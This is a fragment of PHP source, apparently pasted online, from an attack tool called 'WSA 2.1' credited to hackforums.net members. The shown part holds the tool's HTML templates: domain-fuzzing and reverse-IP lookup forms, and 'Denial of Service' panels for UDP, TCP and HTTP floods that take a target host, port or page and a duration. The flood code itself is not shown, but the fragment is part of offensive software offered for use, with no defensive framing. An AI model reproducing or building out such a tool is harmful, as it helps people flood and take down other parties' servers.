  748.            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null); return false;">
  749.                <input type="hidden" name="a" value="3" />
  750.                <span style="margin-top:20px;">Domain Fuzzing</span>
  751.                <p>Enter a top level domain</p>
  752.                <input type="text" name="p1"/>
  753.                <input type="submit" value=">>"/>
  754.            </form>
  755.        <div class="results">';
  756.     private $reverseHTML = '<!-- content -->
  757.    <div class="activepage">
  758.        <div class="activetitle">
  759.            <h1>Reverse IP Tool</h1>
  760.        </div>
  761.        <div class="activecontent">
  762.  
  763.  
  764.            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null); return false;">
  765.                <input type="hidden" name="a" value="4" />
  766.  
  767.                <span style="margin-top:20px;">Servers IP Lookup</span>
  768.                <p>Enter a top level domain</p>
  769.                <input type="text" name="p1"/>
  770.                <input type="submit" value=">>"/>
  771.            </form>
  772.        <div class="results">';
  773.     private $tcpHTML = '<!-- content -->
  774.    <div class="activepage">
  775.        <div class="activetitle">
  776.            <h1>Denial of Service</h1>
  777.        </div>
  778.        <div class="activecontent">
  779.            <span>Change method</span>
  780.            <br>
  781.            <br>
  782.            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null);return false;">
  783.                <input type="hidden" name="a" value="5" />
  784.                <select size="1" name="p1">
  785.                    <option value="udp">UDP Flood</option>
  786.                    <option value="tcp">TCP Flood</option>
  787.                    <option value="http">HTTP Flood</option>
  788.                </select><br>
  789.                <input type="submit" value=">>" /><br>
  790.            </form>
  791.            <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,null);return false;">
  792.  
  793.                <span>TCP Flooder</span><br>
  794.  
  795.                Host<br>
  796.  
  797.                <input type="text" name="p2" ><br>
  798.  
  799.                Port<br>
  800.  
  801.                <input type="text" name="p3" value="" ><br>
  802.  
  803.                Time<br>
  804.                <input type="text" name="p4"><br>
  805.                <input type="hidden" name="a" value="5" />
  806.                <input type="hidden" name="p1" value="tcp" />
  807.                <input type="submit" value=">>" /><br>
  808.            </form>
  809.        <div class="results">';
  810.     private $udpHTML = '<!-- content -->
  811.    <div class="activepage">
  812.        <div class="activetitle">
  813.            <h1>Denial of Service</h1>
  814.        </div>
  815.        <div class="activecontent">
  816.            <span>Change method</span>
  817.            <br>
  818.            <br>
  819.            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null);return false;">
  820.                <input type="hidden" name="a" value="5" />
  821.                <select size="1" name="p1">
  822.                    <option value="udp">UDP Flood</option>
  823.                    <option value="tcp">TCP Flood</option>
  824.                    <option value="http">HTTP Flood</option>
  825.                </select><br>
  826.                <input type="submit" value=">>" /><br>
  827.            </form>
  828.            <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,this.p3.value,this.p4.value,null);return false;">
  829.  
  830.                <span>UDP Flooder</span><br>
  831.  
  832.                Host<br>
  833.  
  834.                <input type="text" name="p2" ><br>
  835.  
  836.                Port<br>
  837.  
  838.                <input type="text" name="p3" value="" ><br>
  839.  
  840.                Time<br>
  841.                <input type="text" name="p4"><br>
  842.                <input type="hidden" name="a" value="5" />
  843.                <input type="hidden" name="p1" value="udp" />
  844.                <input type="submit" value=">>" /><br>
  845.            </form>
  846.        <div class="results">';
  847.     private $httpHTML = '<!-- content -->
  848.    <div class="activepage">
  849.        <div class="activetitle">
  850.            <h1>Denial of Service</h1>
  851.        </div>
  852.        <div class="activecontent">
  853.            <span>Change method</span>
  854.            <br>
  855.            <br>
  856.            <form onSubmit="g(this.a.value,this.p1.value,null,null,null,null);return false;">
  857.                <input type="hidden" name="a" value="5" />
  858.                <select size="1" name="p1">
  859.                    <option value="udp">UDP Flood</option>
  860.                    <option value="tcp">TCP Flood</option>
  861.                    <option value="http">HTTP Flood</option>
  862.                </select><br>
  863.                <input type="submit" value=">>" /><br>
  864.            </form>
  865.            <form onSubmit="g(this.a.value,this.p1.value,this.p2.value,null,this.p4.value,this.p5.value);return false;">
  866.  
  867.                <span>"HTTP Flooder</span><br>
  868.  
  869.                Host<br>
  870.  
  871.                <input type="text" name="p2" ><br>
  872.  
  873.                Page<br>
  874.  
  875.                <input type="text" name="p5" value="" ><br>
  876.  
  877.                Time<br>
  878.                <input type="text" name="p4"><br>
  879.                <input type="hidden" name="a" value="5" />
  880.                <input type="hidden" name="p1" value="http" />
  881.                <input type="submit" value=">>" /><br>
  882.            </form>
  883.        <div class="results">';
  884.     private $footerHTML = '<!-- footer -->
  885.        </div></div>
  886.        <div class="footerwrapper">
  887.            <div class="footerLeft">
  888.  
  889.            </div>
  890.            <div class="footerCenter">
  891.                 <center><span>WSA</span> 2.1 created by <a href="http://hackforums.net/member.php?action=profile&uid=2050895">allhellno</a> & <a href="http://hackforums.net/member.php?action=profile&uid=3091672">Helzor</a></center>
  892.            </div>
  893.            <div class="footerRight">
  894.  
  895.            </div>
  896.        </div>
  897.    </div>
  898. </body>
  899. </html>';
  900.  
  901.     private $chunks = array("header" => "headerHTML", "footer" => "footerHTML", "main" => "mainHTML", "mail" => "mailHTML", "resolve" => "resolveHTML", "reverse" => "reverseHTML", "tcp" => "tcpHTML", "udp" => "udpHTML", "http" => "httpHTML");
  902.  
  903.     protected function fetchHtml($chunk) {
  904.         if(array_key_exists($chunk, $this->chunks)) {
  905.             $html = $this->chunks[$chunk];
  906.             return $this->$html;
  907.         }
  908.         else {
  909.             return false;
  910.         }
  911.     }
  912.  
  913. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement